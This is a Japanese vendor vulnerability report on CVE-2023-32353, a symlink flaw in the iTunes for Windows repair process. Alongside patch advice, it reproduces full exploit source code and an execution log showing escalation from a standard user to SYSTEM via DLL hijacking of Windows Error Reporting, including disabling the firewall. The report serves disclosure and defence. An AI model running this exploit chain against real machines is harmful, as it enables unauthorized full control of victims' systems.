iTunes の Windows OS 版においてソフトウェアの復元処理中の論理的不備により任意のディレクトリが作成可能となる脆弱性（Scan Tech Report）

◆概要
　2023 年 5 月に、Apple 社のソフトウェアである iTunes の Windows OS 版に高い権限で任意のディレクトリが作成可能となる脆弱性が報告されています。脆弱性の悪用により、攻撃者は管理者権限を奪取できる可能性があります。ソフトウェアのアップデートにより対策してください。

◆分析者コメント
　Windows OS では、高い権限でのディレクトリ作成は管理者権限への奪取につながるため、同種の脆弱性が報告された場合は可能な限り対策しましょう。本記事で紹介するエクスプロイトコードが、SYSTEM 権限の奪取に悪用する DLL Hijacking の方法は最新版の Windows OS では対策されていますが、最新版の Windows OS でも悪用可能な手法が存在する場合に備えて、ソフトウェアアップデートにより確実に対策しましょう。

◆深刻度(CVSS)
[CVSS v3.1]
7.8

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?name=CVE-2023-32353&vector=AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H&version=3.1&source=NIST

◆影響を受けるソフトウェア
　バージョン 12.12.9 よりも古い Windows 版の iTunes が当該脆弱性の影響を受けると報告されています。

◆解説
　Apple 社のスマートデバイスや、音楽の再生に用いられる iTunes の Windows OS 版に、管理者権限で任意のディレクトリが作成可能となる脆弱性が報告されています。

　脆弱性は、iTunes が何かしらの操作ミスにより壊れてしまった場合に実行される、ソフトウェアの復元インストール処理中に存在します。脆弱なバージョンの iTunes では、当該処理の実行中にシンボリックリンクを十分に検証しないため、特殊な処理をした状態で特定の位置に作成されたシンボリックリンクで指定された箇所にディレクトリを作成してしまいます。攻撃者は、当該脆弱性を悪用して管理者権限で C:\Windows\System32 などにディレクトリを作成し DLL を配置すれば、DLL Hijacking による SYSTEM 権限の奪取ができる可能性があります。

◆対策
　Windows にインストールされている iTunes のバージョンを 12.12.9 またはそれよりも高いバージョンにアップデートしてください。

◆関連情報
[1] Apple 公式
　　https://support.apple.com/en-us/HT213763
[2] National Vulnerability Database (NDV)
　https://nvd.nist.gov/vuln/detail/CVE-2023-32353
[3] CVE MITRE
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32353

◆エクスプロイト
　以下の Web サイトにて、当該脆弱性を悪用して SYSTEM 権限への昇格を試みるエクスプロイトコードが公開されています。

　　GitHub - 86x/CVE-2023-32353-PoC
　　https://github.com/86x/CVE-2023-32353-PoC

エクスプロイトコードは Windows 1909 で動作するように作成されています。

//-- で始まる行は筆者コメントです。

[Source.c]
----------------------------------------------------------------------
#include "stdafx.h"
#include <CommonUtils.h>
#include <FileSymlink.h>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "atlbase.h"
#include <ReparsePoint.h>
#include <Shlwapi.h>
#include <iostream>
#include <fileapi.h>
#include <strsafe.h>
#include <tchar.h>
#include <Winuser.h>
#include <wchar.h>
#include <msi.h>
#include <msiquery.h>


#pragma comment(lib, "Shlwapi.lib")

using namespace std;

LPCWSTR MusicPlayerAppPath = L"C:\\ProgramData\\Apple Computer\\iTunes";

//-- createSymlinks 関数は、脆弱性を悪用して、低権限では書き込みができ
//-- ない C:\Windows\System32 ディレクトリに wermgr.exe.local ディレク
//-- トリの作成するために、シンボリックリンクを作成します。
//-- 脆弱な iTunes では、iTunes のディレクトリが \RPC Control にマウン
//-- トされるようにマウントポイント作成して、\RPC Control\SC Info とし
//-- て \??\C:\Windows\System32\wermgr.exe.local へのシンボリック
//-- リンクを作成します。この状態で iTunes の再インストール処理を実行
//-- すると、脆弱性により C:\Windows\System32\wermgr.exe.local という
//-- ディレクトリが作成されます。

int createSymlinks()
{
printf("\nCreating MountPoint from Music Player Application to RPC Control!");
if (!ReparsePoint::CreateMountPoint(MusicPlayerAppPath, L"\\RPC Control", L""))
{
printf("\nError: Unable to create mount point. - %ls\n", GetErrorMessage().c_str());
return 0;
}

printf("\nCreating Symlink from RPC Control\SC Info to wermgr.exe.local!\n");
LPCTSTR SCInfo = TEXT("\\RPC Control\\SC Info");
LPCTSTR wermgrloc = TEXT("\\??\\C:\\Windows\\System32\\wermgr.exe.local");

HANDLE symlink = nullptr;
symlink = ::CreateSymlink(nullptr, SCInfo, wermgrloc);
Sleep(1000);
if (!symlink)
{
DWORD errorCode = GetLastError();
if (errorCode == 183) {
printf("\nSymlink already exists. Trying to further execute, even though the execution might fail.");
}
else {
printf("\nError creating symlink - %ls\n", GetErrorMessage().c_str());
return 0;
}
}

return 1;

}

//-- processWermgrFolder 関数は、脆弱性の悪用による wermgr.exe.local
//-- ディレクトリの作成後に実行する関数です。wermgr.exe.local ディレク
//-- トリに Windows Error Reporting サービスに対する DLL Hijacking に
//-- 必要なディレクトリと DLL を作成します。作成する DLL は、本エクス
//-- プロイトコードを実行するディレクトリと同じフォルダに配置されてい
//-- る comctl32.dll というディレクトリをそのまま複製する流れです。
//-- DLL の作成に成功したら、schtasks コマンドにより、DLL Hijacking に
//-- よる SYSTEM 権限のプロセスを作成するため Windows Error Reporting
//-- サービスの起動を試行します。

int processWermgrFolder() {
//Adapted from github.com/binderlabs/DirCreate2System
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
hFind = FindFirstFile(L"C:\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6*", &FindFileData);
wchar_t CommonControlsFolder[MAX_PATH];
wmemcpy(CommonControlsFolder, FindFileData.cFileName, wcslen(FindFileData.cFileName));
CommonControlsFolder[wcslen(FindFileData.cFileName)] = L'\0'; // Ensure null termination
FindClose(hFind);

wchar_t subFolderPath[MAX_PATH];
StringCchCopy(subFolderPath, MAX_PATH, L"C:\\Windows\\System32\\wermgr.exe.local\\");
StringCchCat(subFolderPath, MAX_PATH, CommonControlsFolder);

if (!CreateDirectoryW(subFolderPath, NULL))
{
wprintf(L"\nError: Unable to create directory: %ls", subFolderPath);
return 0;
}
else
{
wprintf(L"\n[+] Successfully created directory: %ls", subFolderPath);
}


wchar_t comctlPath[MAX_PATH];
StringCchCopy(comctlPath, MAX_PATH, subFolderPath);
StringCchCat(comctlPath, MAX_PATH, L"\\comctl32.dll");


//Move dll into the subfolder (amd64_microsoft.windows.common-controls_...) of the wermgr.exe.local folder
if (!CopyFileW(L"comctl32.dll", comctlPath, true)){
printf("\nUnable to move comctl32.dll into the subfolder of wermgr.exe.local");
return 0;
}
else {
printf("\nSuccessfully moved comctl32.dll into the subfolder of wermgr.exe.local");
Sleep(1000);
}

printf("\nRunning QueueReporting so that wermgr.exe gets executed...");
system("schtasks.exe /Run /TN \"\\Microsoft\\Windows\\Windows Error Reporting\\QueueReporting\"");

return 1;
}

//-- msiRepairMusicPlayer 関数は、Apple 製品ソフトウェアのキャッシュが
//-- 保存されているディレクトリから iTunes のインストーラを探し出し、
//-- インストーラを用いて iTunes の復元処理を開始します。復元処理の過
//-- 程で脆弱性が誘発され、高い権限でディレクトリが作成されます。

int msiRepairMusicPlayer() {
//Find the first folder inside the Music Player Application Installer Cache folder
const wchar_t* rootFolderPath = L"C:\\ProgramData\\Apple Computer\\Installer Cache";

// Create the search pattern to find the first subfolder
wchar_t searchPattern[MAX_PATH];
wcscpy_s(searchPattern, MAX_PATH, rootFolderPath);
wcscat_s(searchPattern, MAX_PATH, L"\\*");

// Find the first subfolder
WIN32_FIND_DATA findData;
HANDLE hFind = FindFirstFile(searchPattern, &findData);
wchar_t firstSubfolderPath[MAX_PATH];
if (hFind != INVALID_HANDLE_VALUE)
{
// Iterate through each item in the directory
do
{
// Check if the current item is a directory
if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
// Exclude "." and ".." directories
if (wcscmp(findData.cFileName, L".") != 0 && wcscmp(findData.cFileName, L"..") != 0)
{
// Get the path to the first subfolder
wcscpy_s(firstSubfolderPath, MAX_PATH, rootFolderPath);
wcscat_s(firstSubfolderPath, MAX_PATH, L"\\");
wcscat_s(firstSubfolderPath, MAX_PATH, findData.cFileName);
break; // Exit the loop after finding the first valid directory
}
}
} while (FindNextFile(hFind, &findData));

// Close the search handle
FindClose(hFind);
}

//Path to MSI
wchar_t musicPlayerMsiLoc[MAX_PATH];
wcscpy_s(musicPlayerMsiLoc, MAX_PATH, firstSubfolderPath);
wcscat_s(musicPlayerMsiLoc, MAX_PATH, L"\\iTunes64.msi");

//Print Music Player MSI Location
wprintf(L"\nMusic Player Application MSI Location: %ls", musicPlayerMsiLoc);

LPCWSTR msiFilePath = musicPlayerMsiLoc;

printf("\nTrying to force MSI repair against Music Player Application...");

LPCWSTR parameters = L"/f /i /norestart";
SHELLEXECUTEINFOW executeInfo = {};
executeInfo.cbSize = sizeof(SHELLEXECUTEINFOW);
executeInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
executeInfo.lpVerb = L"open";
executeInfo.lpFile = L"msiexec.exe";

// Build the command-line string for MSI repair
wchar_t commandLine[MAX_PATH + 100];
swprintf_s(commandLine, MAX_PATH + 100, L"/fa \"%s\"", msiFilePath);

executeInfo.lpParameters = commandLine;
executeInfo.lpDirectory = L"";
executeInfo.nShow = SW_SHOW;

if (ShellExecuteExW(&executeInfo))
{
WaitForSingleObject(executeInfo.hProcess, INFINITE);
CloseHandle(executeInfo.hProcess);
return 1;
}

return 1;


}

//-- deleteContentsMusicPlayerApp 関数は、指定したディレクトリに存在す
//-- るファイルとディレクトリ削除する関数です。
//-- C:\ProgramData\Apple Computer\iTunes ディレクトリの中身を削除する
//-- ために用います。

void deleteContentsMusicPlayerApp(const std::wstring& folderPath)
{
WIN32_FIND_DATAW findData;
HANDLE hFind;

std::wstring searchPath = folderPath + L"\\*";
hFind = FindFirstFileW(searchPath.c_str(), &findData);

if (hFind != INVALID_HANDLE_VALUE)
{
do
{
if (wcscmp(findData.cFileName, L".") != 0 && wcscmp(findData.cFileName, L"..") != 0)
{
std::wstring filePath = folderPath + L"\\" + findData.cFileName;

if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
deleteContentsMusicPlayerApp(filePath);
RemoveDirectoryW(filePath.c_str());
}
else
{
DeleteFileW(filePath.c_str());
}
}
} while (FindNextFileW(hFind, &findData));

FindClose(hFind);
}
}

//-- main 関数の処理は以下に従います。
//--
//-- -----------------------------------------------------------------
//-- (1) deleteContentsMusicPlayerApp 関数で iTunes を削除します。
//-- (2) createSymlinks 関数で C:\Windows\System32\wermgr.exe.local へ
//-- のシンボリックリンクを作成します。
//-- (3) msiRepairMusicPlayer 関数で、iTunes の復元処理を開始して、脆
//-- 弱性の悪用により C:\Windows\System32\wermgr.exe.local を作成
//-- し、その配下に必要なディレクトリと DLL を作成した後に、DLL
//-- Hijacking のために Windows Error Reporting サービスのタスクを
//-- schtasks コマンドで開始します。
//-- -----------------------------------------------------------------

int _tmain(int argc, _TCHAR* argv[])
{
//Delete contents of Music Player Application folder
printf("Removing contents of Music Player Application folder...");
std::wstring folderPath = L"C:\\ProgramData\\Apple Computer\\iTunes";
deleteContentsMusicPlayerApp(folderPath);


//Create symlinks
printf("\nCreating symlinks...");
if (!createSymlinks()) {
printf("\nExploit failed because the symlinks could not be created.");
}
else {
//Force MSI repair
msiRepairMusicPlayer();


//This part is not specific to CVE-2023-32353. It is just here to complete the EoP (Elevation of Privilege) Poc (Proof of Concept)
//Create contents of wermgr.exe.local folder and move comctl32.dll
printf("\nCreating contents of wermgr.exe.local folder...");
if (!processWermgrFolder()) {
printf("\nExploit failed because the wermgr.exe.local technique was mitigated.");
}
else {
printf("\nExploit successful.");
}
}

}
----------------------------------------------------------------------
検証環境は以下の通りです。

[対象ホスト]
OS: Microsoft Windows 1909 Pro
Software: iTunes 12.11.3.17

以下、エクスプロイトコードの実行ログです。

……………………………………………………………………………………………
C:\Dev>systeminfo

Host Name: WIN1909DEV
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.18363 N/A Build 18363
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00330-80000-00000-AA245
Original Install Date: 7/18/2023, 2:26:26 PM
System Boot Time: 7/18/2023, 2:37:59 PM
System Manufacturer: VMware, Inc.
System Model: VMware20,1
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
　　　　　　　　　　　　　 [01]: Intel64 Family 6 Model 140 Stepping 1 GenuineIntel ~2803 Mhz
　　　　　　　　　　　　　 [02]: Intel64 Family 6 Model 140 Stepping 1 GenuineIntel ~2803 Mhz
BIOS Version: VMware, Inc. VMW201.00V.20648489.B64.2210180829, 10/18/2022
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC+09:00) Osaka, Sapporo, Tokyo
Total Physical Memory: 2,047 MB
Available Physical Memory: 848 MB
Virtual Memory: Max Size: 3,199 MB
Virtual Memory: Available: 1,870 MB
Virtual Memory: In Use: 1,329 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: \\WIN1909DEV
Hotfix(s): 6 Hotfix(s) Installed.
　　　　　　　　　　　　　 [01]: KB4515871
　　　　　　　　　　　　　 [02]: KB4513661
　　　　　　　　　　　　　 [03]: KB4516115
　　　　　　　　　　　　　 [04]: KB4517245
　　　　　　　　　　　　　 [05]: KB4524569
　　　　　　　　　　　　　 [06]: KB4530684
Network Card(s): 2 NIC(s) Installed.
　　　　　　　　　　　　　 [01]: Bluetooth Device (Personal Area Network)
　　　　　　　　　　　　　　　　 Connection Name: Bluetooth Network Connection
　　　　　　　　　　　　　　　　 Status: Media disconnected
　　　　　　　　　　　　　 [02]: Intel(R) 82574L Gigabit Network Connection
　　　　　　　　　　　　　　　　 Connection Name: Ethernet0
　　　　　　　　　　　　　　　　 Status: Media disconnected
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.

C:\Dev>whoami /user

USER INFORMATION
----------------

User Name SID
=============== ===========================================
win1909dev\user S-1-5-21-162312054-1007711594-22087912-1000

C:\Dev>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled

C:\Dev>whoami /groups | findstr /i level
Mandatory Label\Medium Mandatory Level Label S-1-16-8192

//-- 権限がないため Windows Firewall の制御には失敗します。

C:\Dev>netsh advfirewall set allprofiles state off
The requested operation requires elevation (Run as administrator).

//-- エクスプロイトコードでは、C:\Windows\System32\wermgr.exe.local の
//-- 作成を試みます。当該ディレクトリは、Windows Error Reporting サー
//-- ビスのプロセスへの DLL Hijacking に悪用できます。

C:\Dev>dir C:\Windows\System32\wermgr.exe.local
Volume in drive C has no label.
Volume Serial Number is 1619-8852

Directory of C:\Windows\System32

File Not Found

//-- エクスプロイトコードの実行により、脆弱性の悪用によるディレクトリ
//-- の作成を試みます。DLL Hijacking で使用する DLL として、本記事では
//-- 以下の URL から入手可能な spawn.dll を comctl32.dll として使用し
//-- ます。
//--
//-- GitHub - binderlabs/DirCreate2System
//-- https://github.com/binderlabs/DirCreate2System/blob/main/bin/spawn.dll
//--

C:\Dev>dir
Volume in drive C has no label.
Volume Serial Number is 1619-8852

Directory of C:\Dev

07/18/2023 05:54 PM <DIR> .
07/18/2023 05:54 PM <DIR> ..
07/18/2023 12:56 PM 21,504 comctl32.dll
07/18/2023 12:40 PM 189,952 Privilege-Escalation-using-Music-Player.exe
　　　　　　　 2 File(s) 211,456 bytes
　　　　　　　 2 Dir(s) 43,872,731,136 bytes free

//-- エクスプロイトコードを実行します。数分程度の時間がかかりますが、
//-- 復元処理は中断せずに最後まで実行します。

C:\Dev>Privilege-Escalation-using-Music-Player.exe
Removing contents of Music Player Application folder...
Creating symlinks...
Creating MountPoint from Music Player Application to RPC Control!
Creating Symlink from RPC ControlSC Info to wermgr.exe.local!
Opened Link \RPC Control\SC Info -> \??\C:\Windows\System32\wermgr.exe.local: 00000000000001CC

Music Player Application MSI Location: C:\ProgramData\Apple Computer\Installer Cache\iTunes 12.11.3.17\iTunes64.msi
Trying to force MSI repair against Music Player Application...
Creating contents of wermgr.exe.local folder...
[+] Successfully created directory: C:\Windows\System32\wermgr.exe.local\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.535_none_e6c3b34713100821
Successfully moved comctl32.dll into the subfolder of wermgr.exe.local
Running QueueReporting so that wermgr.exe gets executed...SUCCESS: Attempted to run the scheduled task "\Microsoft\Windows\Windows Error Reporting\QueueReporting".

Exploit successful.

//-- 脆弱性の悪用に成功すると、Windows Error Reporting のタスクにより
//-- comctl32.dll として配置した DLL が SYSTEM 権限で読み込まれ、メッ
//-- セージボックスの表示とともに cmd.exe が起動します。

Microsoft Windows [Version 10.0.18363.535]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami /user

USER INFORMATION
----------------

User Name SID
=================== ========
nt authority\system S-1-5-18

C:\Windows\system32>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
========================================= ================================================================== ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeLockMemoryPrivilege Lock pages in memory Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeTcbPrivilege Act as part of the operating system Enabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeCreatePermanentPrivilege Create permanent shared objects Enabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled
SeAuditPrivilege Generate security audits Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

C:\Windows\system32>whoami /groups | findstr /i level
Mandatory Label\System Mandatory Level Label S-1-16-16384

//-- SYSTEM 権限の奪取に成功したため、Windows Firewall の制御に成功し
//-- ます。

C:\Windows\system32>netsh advfirewall set allprofiles state off
Ok.


C:\Windows\system32>netsh advfirewall set allprofiles state on
Ok.

//-- 脆弱性の悪用により、wermgr.exe.local が作成されており、その配下に
//-- もディレクトリが作成されています。

C:\Windows\system32>dir C:\Windows\System32\wermgr.exe.local
Volume in drive C has no label.
Volume Serial Number is 1619-8852

Directory of C:\Windows\System32\wermgr.exe.local

07/18/2023 12:58 PM <DIR> .
07/18/2023 12:58 PM <DIR> ..
07/18/2023 12:58 PM <DIR> amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.535_none_e6c3b34713100821
　　　　　　　 0 File(s) 0 bytes
　　　　　　　 3 Dir(s) 43,861,487,616 bytes free

//-- 作成されたディレクトリの ACL を icacls コマンドで確認すると、結果
//-- に「WIN1909DEV\user:(I)(F)」が含まれているため、脆弱性を悪用した
//-- アカウントである WIN1909DEV\user に全権限が付与されていると確認で
//-- きます。

C:\Windows\system32>icacls C:\Windows\System32\wermgr.exe.local\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.535_none_e6c3b34713100821
C:\Windows\System32\wermgr.exe.local\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.535_none_e6c3b34713100821 NT SERVICE\TrustedInstaller:(I)(F)
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　NT AUTHORITY\SYSTEM:(I)(F)
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　BUILTIN\Administrators:(I)(F)
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　BUILTIN\Users:(I)(RX)
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　WIN1909DEV\user:(I)(F)
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　CREATOR OWNER:(I)(OI)(CI)(IO)(F)
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)

Successfully processed 1 files; Failed processing 0 files

C:\Windows\system32>